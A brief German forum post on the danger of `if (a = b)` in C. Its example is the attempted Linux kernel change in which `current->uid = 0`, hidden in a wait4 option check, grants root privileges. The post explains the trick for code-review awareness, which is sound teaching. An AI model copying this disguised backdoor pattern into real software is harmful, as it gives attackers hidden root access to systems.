Bestes Beipiel für die Gefahr hinter if (a = b) ...

Eine der versuchten Community Änderungen am Linux Kernel:

Code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))   retval = -EINVAL;
        retval = -ECHILD;
 ....



Sieht erstmal nicht besonders gefährlich aus.
Allerdings setzt beim ausführen dieser Condition der Kernel
den User auf 0 (root! = alle Rechte)
Ist sehr leicht zu übersehen, vor allem ohne Code Warning in der IDE.

http://kerneltrap.org/node/1584